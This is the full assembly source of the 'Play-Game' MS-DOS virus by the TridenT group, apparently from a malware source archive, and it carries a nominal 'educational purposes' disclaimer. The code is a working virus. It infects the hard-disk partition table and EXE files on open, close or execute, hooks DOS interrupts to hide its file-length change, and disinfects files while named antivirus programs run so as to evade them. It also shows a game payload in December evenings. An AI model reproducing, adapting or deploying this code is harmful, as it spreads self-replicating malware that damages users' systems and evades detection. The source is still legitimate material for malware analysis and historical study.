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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.playgam.asm

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;------------------------------------------------------------------------------
; Play-Game VIRUS version 1
;
; Use TASM 2.01 to compile this source
; (other assemblers will probably not produce the same result)
;
; Disclaimer:
; This file is only for educational purposes. The author takes no
; responsibility for anything anyone does with this file. Do not
; modify this file!
;------------------------------------------------------------------------------
.model tiny
.RADIX 16
.code
VERSION equ 1
FILELEN equ offset last - first ;Length of virus.
VIRSEC equ (FILELEN+1FF)/200 ;Number of sectors for virus
VIRKB equ (FILELEN+3FF+100)/400 ;Length in kB.
SECLEN equ 200 ;length of a sector.
STACKLEN equ 200 ;Wanted length of stack in
;infected file.
STACKOFF equ ((FILELEN+SECLEN+STACKLEN+11)/2)*2 ;Stack offset in
;infected file.
DATAPAR equ (SECLEN+STACKLEN+20)/10 ;Minimal extra memory to
;allocate for infected file
;(area to load part. table
;and room for stack).
BUFLEN equ 1C ;Length of buffer.
BOOTLEN equ boot_end - boot_begin ;Length of boot-routine.
;------------------------------------------------------------------------------
; Data area for virus.
;------------------------------------------------------------------------------
org 00F0
hook db ? ;Flag for hooking int21
minibuf db (4) dup (?) ;Mini buffer for internal use.
;------------------------------------------------------------------------------
; Data area for game.
;------------------------------------------------------------------------------
bombs db ? ;Number of bombs.
pos db ? ;Position.
oldpos db ? ;Previous position.
level db ?
kleur db ?
timer db ?
tijd dw ?
;------------------------------------------------------------------------------
; Begin of virus, installation in partition table of harddisk
;------------------------------------------------------------------------------
org 0100
first: db '[ MK / TridenT ]' ;Author + Group.
call next
next: pop si ;Get IP.
sub si,13 ;Calculate relative offset.
mov di,0100
cld
call push_all ;Save some registers.
push cs ;Make DS and ES equal to CS.
push cs
pop ds
pop es
mov ah,30 ;Check if DOS version >= 4.0
int 21
cmp al,4
jb not_install
cmp ax,0DEADh ;Check if another TridenT
je not_install ;(multi-partite) virus is
;resident.
mov ax,0FE02 ;Check if Tequila virus
int 21 ;is resident.
cmp ax,01FDh
je not_install
mov ax,33E4 ;Check if virus is already
int 21 ;resident.
cmp ah,0A5
je not_install
call infect_part
not_install: mov ah,2A ;Ask date.
int 21
cmp dh,12d ;december?
jb dont_play
mov ah,2C ;Ask time.
int 21
cmp ch,21d ;time > 21:00 ?
jb dont_play
mov ax,33E5 ;Play the game!
int 21
dont_play: call pop_all ;Restore registers.
add si,offset buffer-100
cmp byte ptr cs:[si],'M' ;Check if generation 0.
je entryE
int 20 ;It was a COM file (gen. 0).
entryE: mov bx,ds ;Calculate CS.
add bx,low 10
mov cx,bx
add bx,cs:[si+0E]
cli ;Restore SS and SP.
mov ss,bx
mov sp,cs:[si+10]
sti
add cx,cs:[si+16]
push cx ;Push new CS on stack.
push cs:[si+14] ;Push new IP on stack.
retf
;------------------------------------------------------------------------------
; Infect partition table sector
;------------------------------------------------------------------------------
infect_part: lea bx,[si+last-100] ;Read partition table
mov ax,0201 ;at end of virus.
mov cx,1
mov dx,80
int 13
jc not_infect_par
cmp word ptr [bx],'KM' ;Check if already infected.
je not_infect_par
cmp word ptr [bx],05EA ;Check if infected with
je not_infect_par ;Stoned or Michelangelo.
lea di,[bx+01BE] ;Check partition info.
mov bl,4
check_part: cmp byte ptr [di+4],0 ;Skip if not a valid partition.
je next_part
cmp word ptr [di+0A],0 ;Enough room for virus?
jne next_part
cmp word ptr [di+8],VIRSEC+2
jb not_infect_par ;Quit if not enough room.
next_part: add di,10
dec bl
jnz check_part
lea bx,[si+last-100] ;Save original partition table
mov ax,0301 ;to sector 2.
mov cx,2
int 13
jc not_infect_par
lea bx,[si+first-100] ;Write the virus to sector 3.
mov ax,0300+VIRSEC
mov cx,3
int 13
jc not_infect_par
lea di,[si+last-100] ;Infect part table.
lea si,[si+boot_begin-100]
mov bx,di
mov cx,BOOTLEN
rep movsb
mov ax,0301 ;Write infected partition table
mov cx,1 ;to sector 1.
int 13
not_infect_par: ret
;------------------------------------------------------------------------------
; Partition table routine
;------------------------------------------------------------------------------
boot_begin: db 'MK' ;Signature (= DEC BP, DEC BX).
cld ;Initialise segments + stack.
cli
xor ax,ax
mov ds,ax
mov ss,ax
mov sp,7C00
sti
mov di,0400 ;Adjust memory size.
mov ax,ds:[di+13]
sub ax,VIRKB
mov ds:[di+13],ax
mov cl,6 ;Calculate segment for
shl ax,cl ;resident virus.
mov es,ax
mov cx,BOOTLEN ;Copy virus to top.
mov si,sp ;SP=7C00
xor di,di
rep movsb
mov bx,offset here-offset boot_begin ;Jump to top.
push es
push bx
retf
here: mov ax,0200+VIRSEC ;Load complete virus.
mov cx,3
mov dx,0080
mov bx,0100
int 13
jc load_part
cli
mov ax,offset ni13 ;Set new vector 13.
xchg ds:[4*13],ax
mov cs:[oi13],ax ;Save old vector 13.
mov ax,es
xchg ds:[4*13+2],ax
mov cs:[oi13+2],ax
les bx,ds:[4*21] ;Get original vector 21.
mov cs:[oi21],bx
mov cs:[oi21+2],es
sti
mov byte ptr cs:[hook],1 ;Turn on hook-flag.
load_part: mov di,5
push ds
pop es
part_loop: mov ax,0201 ;Load original part. sector.
mov cx,2
mov dx,0080
mov bx,sp
int 13
jnc jump_part
xor ax,ax ;Reset Drive
int 13
dec di
jnz part_loop ;Try again.
int 18 ;Error: activate ROM BASIC.
jump_part: push ds ;Push next address.
push bx
retf
boot_end:
;------------------------------------------------------------------------------
; Int 13 handler
;------------------------------------------------------------------------------
ni13: cmp byte ptr cs:[hook],0 ;Is int 21 already hooked?
je do_int13
push ds
push es
push bx
push ax
cli
xor ax,ax
mov ds,ax
les bx,ds:[4*21] ;Compare int 21 vector
mov ax,es ;with saved old vector.
cmp ax,800
ja dont_hook
cmp bx,cs:[oi21]
jne hook_21
cmp ax,cs:[oi21+2]
je dont_hook
hook_21: mov cs:[oi21],bx ;Save old vector 21.
mov cs:[oi21+2],ax
mov ds:[4*21],offset ni21 ;Set new vector 21.
mov ds:[4*21+2],cs
mov byte ptr cs:[hook],0 ;Don't hook int 21 anymore.
dont_hook: sti
pop ax
pop bx
pop es
pop ds
do_int13: cmp cx,1 ;Check if part. table
jne orgint13 ;is read or written.
cmp dx,80
jne orgint13
cmp ah,2
jb orgint13
cmp ah,3
ja orgint13
or al,al
jz orgint13
push cx
dec al
jz nothing_left
push ax ;Do original function
push bx
add bx,0200
inc cx
pushf
call dword ptr cs:[oi13]
pop bx
pop ax
nothing_left: mov al,1 ;Read/write redirected
mov cx,2 ;partition table.
pushf
call dword ptr cs:[oi13]
pop cx
retf 2
orgint13: db 0EA
oi13 dw 0, 0 ;Original int 13 vector.
;------------------------------------------------------------------------------
; Interupt 21 handler
;------------------------------------------------------------------------------
ni21: pushf
cmp ax,33E4 ;Installation-check ?
jne not_ic
mov ax,0A500+VERSION ;Yes? Return a signature.
popf
iret
not_ic: cmp ax,33E5 ;Play game ?
jne not_pg
call play_game
popf
iret
not_pg: call push_all ;Check if interupt came from
call getname ;a program that may not see
mov dx,offset namesHI ;true length of infected file
mov cx,2+11d ;(AV program or 'DIR').
call checknames
call pop_all
jne no_hide
cmp ah,11 ;Findfirst/findnext FCB?
je its_11_12
cmp ah,12
jne not_11_12
its_11_12: popf
call findFCB
retf 2
not_11_12: cmp ah,4E ;Findfirst/findnext handle?
je its_4E_4F
cmp ah,4F
jne no_hide
its_4E_4F: popf
call findhndl
retf 2
no_hide: call push_all ;Save registers.
cmp ax,6C00 ;Open from DOS 4.0+ ?
jne not_6C00
call f_open2
jmp short exit
not_6C00: cmp ah,3Dh ;File open?
jne not_3D
call f_open
jmp short exit
not_3D: cmp ah,3E ;File close?
jne not_3E
call f_close
jmp short exit
not_3E: cmp ax,4B00 ;Program execute?
jne exit
call f_execute
exit: call pop_all ;Restore registers.
popf
db 0EA ;Original int 21.
oi21 dw 0, 0
;------------------------------------------------------------------------------
; Interupt 24 handler
;------------------------------------------------------------------------------
ni24: mov al,3 ;To avoid 'Abort, Retry, ...'
iret
;------------------------------------------------------------------------------
; Call original int21
;------------------------------------------------------------------------------
DOS: pushf
call dword ptr cs:[oi21]
ret
;------------------------------------------------------------------------------
; Hide the virus from filelength
;------------------------------------------------------------------------------
findFCB: call DOS ;Call original function.
or al,al
jne ret1
pushf
push bx
push ax
push es
mov ah,2F ;Ask DTA adres.
call DOS
cmp byte ptr es:[bx],0FF ;Extended FCB?
jne vv1
add bx,7
vv1: mov al,byte ptr es:[bx+17] ;Check if infected
and al,1Fh ;(seconds=62).
cmp al,1Fh
jne dont_hide
sub word ptr es:[bx+1Dh],FILELEN ;Hide virus length.
sbb word ptr es:[bx+1F],0
dec bx
jmp short hide_time
findhndl: call DOS ;Call original function.
jc ret1
pushf
push bx
push ax
push es
mov ah,2F ;ask DTA adres
call DOS
mov al,byte ptr es:[bx+16] ;Check if infected.
and al,1Fh
cmp al,1Fh
jne dont_hide
sub word ptr es:[bx+1A],FILELEN ;Hide virus length.
sbb word ptr es:[bx+1C],0
hide_time: and byte ptr es:[bx+16],0EFh ;Also hide seconds.
dont_hide: pop es
pop ax
pop bx
popf
ret1: ret
;------------------------------------------------------------------------------
; Try to infect or disinfect the file
;------------------------------------------------------------------------------
f_close: cmp bx,5 ;Is handle >= 5?
jb ret1 ;Quit if not.
mov ah,45 ;Duplicate handle
jmp short doit
f_execute: mov ah,3Dh ;Open file
doit: call DOS
jc ret1
xchg ax,bx
mov bp,1 ;Flag for infect.
jmp short get_ctrlbrk
f_open2: mov dx,si ;Use 'normal' open function
mov ah,3Dh ;instead of 6C00 function.
f_open: call DOS
jc ret1
xchg ax,bx
xor bp,bp ;Flag for disinfect.
get_ctrlbrk: cld
mov ax,3300 ;Get ctrl-break flag.
call DOS
push dx
cwd ;Disable Ctrl-break.
inc ax
push ax
call DOS
mov dx,bx
mov ax,3524 ;Get int24 vector.
call DOS
push bx
push es
mov bx,dx
push cs
pop ds
mov dx,offset ni24 ;Install new int24 handler.
mov ah,25
push ax
call DOS
mov ax,1220 ;Get pointer to file table
push bx
int 2F
mov bl,es:[di]
mov al,16 ;(Avoid [512] signature...)
mov ah,12
int 2F
pop bx ;ES:DI -> file table
push es
pop ds
push [di+2] ;Save attribute & open-mode.
push [di+4]
cmp word ptr [di+28],'XE' ;Check if extension is .EXE
jne close1
cmp byte ptr [di+2A],'E'
jne close1
; cmp word ptr [di+20],'XX' ;Check if name is 'XX*.EXE'
; jne close1 ;(only for test purposes).
test bp,bp ;Infect or disinfect?
jz check_disinf
mov ax,word ptr [di+20] ;Check if file may be infected.
mov dx,offset namesSC
mov cx,11d+4
call checknames
je close1
jmp short go_on
check_disinf: call getname ;Check if file must be
mov dx,offset namesSC ;disinfected (only if an
mov cx,11d ;AV program is active).
call checknames
jne close1
go_on: mov byte ptr [di+2],2 ;Open file for both read/write.
mov byte ptr [di+4],0 ;Clear attributes
call gotobegin
push ax ;Save old file offset
push dx
push cs
pop ds
mov cx,BUFLEN ;Read begin of file
mov si,offset buffer ;into buffer.
mov dx,si
call read
call checkfile ;Check if file is OK to infect
jc close2 ;or disinfect.
mov ax,word ptr [si+12] ;Already infected?
add al,ah
cmp al,'#'
je is_infected
test bp,bp ;Must it be infected?
jz close2
call do_infect
is_infected: test bp,bp ;Must it be disinfected?
jnz close2
call do_disinfect
close2: push es
pop ds
pop dx ;Restore file offset.
pop ax
call goto
or byte ptr [di+6],40 ;Don't change file-time.
close1: mov ah,3E ;Close the file.
call DOS
or byte ptr [di+5],40 ;No EOF on next close.
pop [di+4] ;Restore attribute & open-mode.
pop [di+2]
pop ax ;Restore int 24 vector.
pop ds
pop dx
call DOS
pop ax ;Restore ctrl-break flag.
pop dx
call DOS
ret
;------------------------------------------------------------------------------
; Special filenames
;------------------------------------------------------------------------------
namesHI db 'CO', '4D' ;COMMAND.COM and 4DOS.
namesSC db 'SC', 'CL', 'VS', 'NE' ;AV programs.
db 'HT', 'TB', 'VI', 'F-'
db 'FI', 'GI', 'IM'
namesCH db 'RA', 'FE', 'MT', 'BR' ;Some self-checking
;programs.
;------------------------------------------------------------------------------
; Check the file
;------------------------------------------------------------------------------
checkfile: cmp word ptr [si],'ZM' ;Is it a normal EXE ?
jne not_good
cmp word ptr [si+18],40 ;Check if it is a windows/OS2
jb not_win ;EXE file.
mov ax,003C ;Read pointer to NE header.
cwd
call readbytes
jc not_good
mov ax,word ptr [si+BUFLEN] ;Read NE header.
mov dx,word ptr [si+BUFLEN+2]
call readbytes
jc not_good
cmp byte ptr [si+BUFLEN+1],'E' ;Quit if it is a NE
je not_good ;header.
not_win: call getlen
call calclen ;Check for internal overlays.
cmp word ptr [si+4],ax
jne not_good
cmp word ptr [si+2],dx
jne not_good
cmp word ptr [si+0C],0 ;High memory allocation?
je not_good
cmp word ptr [si+1A],0 ;Overlay nr. not zero?
jne not_good
clc ;File is OK.
ret
not_good: stc ;File is not OK.
ret
;------------------------------------------------------------------------------
; Write virus to the program
;------------------------------------------------------------------------------
do_infect: call getlen ;Go to end of file.
call goto
mov dx,0100 ;Write virus.
mov cx,FILELEN
call write
cmp ax,cx ;Are all bytes written?
jne not_infect
call getoldlen ;Calculate new CS & IP.
mov cx,0010
div cx
sub ax,word ptr [si+8]
add dx,low 10
mov word ptr [si+16],ax ;Put CS in header.
mov word ptr [si+0E],ax ;Put SS in header.
mov word ptr [si+14],dx ;Put IP in header.
mov word ptr [si+10],STACKOFF ;Put SP in header.
call getlen ;Put new length in header.
call calclen
mov word ptr [si+4],ax
mov word ptr [si+2],dx
push di
lea di,[si+0A] ;Adjust mem. allocation info.
call mem_adjust
lea di,[si+0C]
call mem_adjust
pop di
call gotobegin ;Write new begin of file.
in al,40
mov ah,'#'
sub ah,al
mov word ptr [si+12],ax
mov cx,BUFLEN
mov dx,si
call write
or byte ptr es:[di+0Dh],1F ;set filetime to 62 sec.
not_infect: ret
;------------------------------------------------------------------------------
; Disinfect the program
;------------------------------------------------------------------------------
do_disinfect: call getoldlen ;Go to original end of file
add ax,(offset buffer-100)
adc dx,0
call goto ;Go to buffer in virus.
mov dx,si ;Read buffer.
mov cx,BUFLEN
call read
cmp word ptr [si],'ZM' ;Is there an EXE header
jne not_disinfect ;in the buffer?
call gotobegin ;Write the buffer to
mov dx,si ;begin of file.
mov cx,BUFLEN
call write
call getoldlen ;Restore original length
mov es:[di+11],ax ;of file.
mov es:[di+13],dx
and byte ptr es:[di+0Dh],0E0 ;Seconds = 0.
not_disinfect: ret
;------------------------------------------------------------------------------
; Get name of current process
;------------------------------------------------------------------------------
getname: push ds
push bx
mov ah,62 ;Get PSP address.
call DOS
dec bx
mov ds,bx
mov ax,ds:[0008] ;Get first 2 characters
;of current process name.
pop bx
pop ds
ret
;------------------------------------------------------------------------------
; Check names
;------------------------------------------------------------------------------
checknames: push di
push es
push cs ;Search name in list CS:DX
pop es
mov di,dx
repnz scasw
pop es
pop di
ret
;------------------------------------------------------------------------------
; Calculate length for EXE header
;------------------------------------------------------------------------------
calclen: mov cx,0200 ;Divide by 200h
div cx
or dx,dx ;Correction?
jz no_cor
inc ax
no_cor: ret
;------------------------------------------------------------------------------
; Adjust mem allocation info in EXE header
;------------------------------------------------------------------------------
mem_adjust: cmp word ptr [di],DATAPAR ;Enough memory allocated?
jnb mem_ok
mov word ptr [di],DATAPAR ;Minimum amount to allocate.
mem_ok: ret
;------------------------------------------------------------------------------
; Read a few bytes
;------------------------------------------------------------------------------
readbytes: call goto ;Go to DX:AX and read 4 bytes
mov dx,offset minibuf ;from that location into
mov cx,4 ;mini-buffer.
read: mov ah,3F
call DOS
ret
write: mov ah,40 ;Write function.
call DOS
ret
;------------------------------------------------------------------------------
; Get original length of program
;------------------------------------------------------------------------------
getoldlen: call getlen
sub ax,FILELEN
sbb dx,0
ret
;------------------------------------------------------------------------------
; Get length of program
;------------------------------------------------------------------------------
getlen: mov ax,es:[di+11]
mov dx,es:[di+13]
ret
;------------------------------------------------------------------------------
; Goto new offset DX:AX
;------------------------------------------------------------------------------
gotobegin: xor ax,ax
cwd
goto: xchg ax,es:[di+15]
xchg dx,es:[di+17]
ret
;------------------------------------------------------------------------------
; Push all registers on stack
;------------------------------------------------------------------------------
push_all: push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov bp,sp
jmp [bp+12]
;------------------------------------------------------------------------------
; Pop all registers from stack
;------------------------------------------------------------------------------
pop_all: pop ax
mov bp,sp
mov [bp+12],ax
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;------------------------------------------------------------------------------
; Game
;------------------------------------------------------------------------------
play_game: call rnd_init ;Initialize random number
;generator.
mov ah,0F ;Get video mode.
int 10
xor ah,ah ;Clear screen and set to
push ax ;40 column mode.
mov al,1
int 10
mov ah,3 ;Clear cursor.
int 10
push cx
mov ah,1
xor cx,cx
int 10
start_game: push cs
push cs
pop ds
pop es
xor al,al ;Clear screen
call scroll_screen
mov si,offset orgvalues ;Initialize parameters.
mov di,offset bombs
movsw
xor ax,ax
stosw
stosw
stosw
mov dx,0B800 ;ES points to screen memory.
mov es,dx
mov si,offset beginmess ;Print first message.
mov di,40d*2*5+20d
mov cx,12d
call print_it2
mov di,40d*2*9+4
mov cl,20d
call print_it2
mov di,40d*2*20d+24d
mov cl,16d
call print_it
call wachttoets ;Wait for keypress or timeout.
xor al,al ;Clear screen.
call scroll_screen
main_lup: mov al,byte ptr [oldpos] ;Clear old position.
call gotopos
mov ax,0700
stosw
mov al,byte ptr [pos]
mov byte ptr [oldpos],al
mov al,1 ;Scroll screen up.
call scroll_screen
mov al,byte ptr [pos] ;Goto current position.
call gotopos
mov al,es:[di] ;Hit a block?
cmp al,0FE
mov ax,0E02 ;Print smily face.
stosw
je stop_game
call print_bombs ;Print a number of bombs.
call wacht
in al,61 ;Make 'click' sound.
push ax
or al,3
out 61,al
call check_key ;Check for shift keys.
pop ax ;Turn 'click' off
out 61,al
inc byte ptr [timer] ;Check timer.
mov al,byte ptr [timer]
and al,7F
jnz not_zero
inc byte ptr [kleur] ;Change color and number of
inc byte ptr [bombs] ;bombs every 128th row.
not_zero: cmp al,12d
jne main_lup
inc byte ptr [level] ;Increase level as soon as
cmp byte ptr [level],9 ;new color has reached.
jb main_lup ;position. Maximum is 9.
stop_game: mov ax,0E07 ;Beep!
int 10
mov si,offset endmess ;Print message 'You reached..'.
mov di,40d*2*24d
mov cx,18d
call print_it
mov al,byte ptr [level] ;Print reached level.
add al,30
stosw
add di,20d ;Print message 'Play again?'.
mov cl,11d
call print_it
call wachttoets ;Wait for key or timeout.
jz stop_echt
or al,20
cmp al,'y' ;Play again if 'Y' was
jne stop_echt ;pressed.
jmp start_game
stop_echt: pop cx
mov ah,1
int 10
pop ax ;clear screen
int 10
ret
;------------------------------------------------------------------------------
; Print CX characters from DS:SI to ES:DI
;------------------------------------------------------------------------------
print_it: lodsb
mov ah,7
stosw
loop print_it
ret
;------------------------------------------------------------------------------
; Print CX characters from DS:SI to ES:DI (wide)
;------------------------------------------------------------------------------
print_it2: lodsb
mov ah,7
stosw
mov al,20
stosw
loop print_it2
ret
;------------------------------------------------------------------------------
; Go to position on screen.
;------------------------------------------------------------------------------
gotopos: cbw
shl ax,1
mov di,40d*2*12d
add di,ax
ret
;------------------------------------------------------------------------------
; Scroll the screen up AL rows
;------------------------------------------------------------------------------
scroll_screen: push bx
mov ah,06
mov bh,7
mov cx,0
mov dx,(25d-1)*100+(40d-1)
int 10
pop bx
ret
;------------------------------------------------------------------------------
; Print some bombs at bottom row.
;------------------------------------------------------------------------------
print_bombs: mov cl,byte ptr [bombs] ;Number of bombs.
xor ch,ch
bomb_lup: call rnd_get ;Calculate position.
cmp al,(40d-1)
ja bomb_lup
cbw
shl ax,1
mov di,40d*2*(25d-1)
add di,ax
mov al,byte ptr [kleur] ;Calculate color.
mov bx,offset colors
xlat
xchg ah,al
mov al,0FE ;Print bomb.
stosw
loop bomb_lup
ret
;------------------------------------------------------------------------------
; Wait a short time.
;------------------------------------------------------------------------------
wacht: mov dx,word ptr [tijd]
add dx,2
xor ax,ax
mov ds,ax
time_lup: mov ax,ds:[046C] ;Get current time.
cmp ax,dx
jb time_lup
push cs
pop ds
mov word ptr [tijd],ax
ret
;------------------------------------------------------------------------------
; Wait for timeout or keypress.
;------------------------------------------------------------------------------
wachttoets: mov ah,1 ;Empty keyboard buffer.
int 16
jz now_empty
xor ah,ah
int 16
jmp short wachttoets
now_empty: xor ax,ax
mov ds,ax
mov dx,ds:[046C]
add dx,18d*8
wt_lup: mov ah,1 ;Check key.
int 16
jnz stop_waiting
mov ax,ds:[046C] ;Check time.
cmp ax,dx
jb wt_lup
stop_waiting: push cs
pop ds
ret
;------------------------------------------------------------------------------
; Check if shift key's are pressed.
;------------------------------------------------------------------------------
check_key: mov ah,2
int 16
test al,1
jz not_right
cmp byte ptr [pos],(40d-1)
je not_right
inc byte ptr [pos]
ret
not_right: test al,2
jz no_key
cmp byte ptr [pos],0
je no_key
dec byte ptr [pos]
no_key: ret
;------------------------------------------------------------------------------
; Random number generator.
;------------------------------------------------------------------------------
rnd_init: push ax
push cx
call rnd_init0 ;init
and ax,000F
inc ax
xchg ax,cx
random_lup: call rnd_get ;call random routine a few
loop random_lup ; times to 'warm up'
pop cx
pop ax
ret
rnd_init0: push dx ;initialize generator
push cx
push ds
xor ax,ax
mov ds,ax
in al,40
mov ah,al
in al,40
xor ax,word ptr ds:[041E]
mov dx,word ptr ds:[046C]
xor dx,ax
pop ds
jmp short move_rnd
nonzero_get: call rnd_get
or ax,ax
jz nonzero_get
ret
rnd_get: push dx ;calculate a random number
push cx
push bx
in al,40
values: add ax,0 ;will be: mov ax,xxxx
mov dx,0 ; and mov dx,xxxx
mov cx,7
rnd_lup: shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_l2
inc al
rnd_l2: loop rnd_lup
pop bx
move_rnd: push si
call me
me: pop si
mov word ptr cs:[si+(offset values-offset me)+1],ax
mov word ptr cs:[si+(offset values-offset me)+4],dx
pop si
mov al,dl
pop cx
pop dx
ret
;------------------------------------------------------------------------------
; Data
;------------------------------------------------------------------------------
beginmess db 'HAPPY VIRUS '
db 'Time to play a game '
db '(Use shift keys)'
endmess db 'You reached level '
db 'Play again?'
colors db 4, 5, 1, 3, 0C, 0Dh, 9, 0Bh, 0
orgvalues db 3, (40d/2)
buffer db (BUFLEN) dup ('#') ;Buffer for orig. EXE header.
last:
end first

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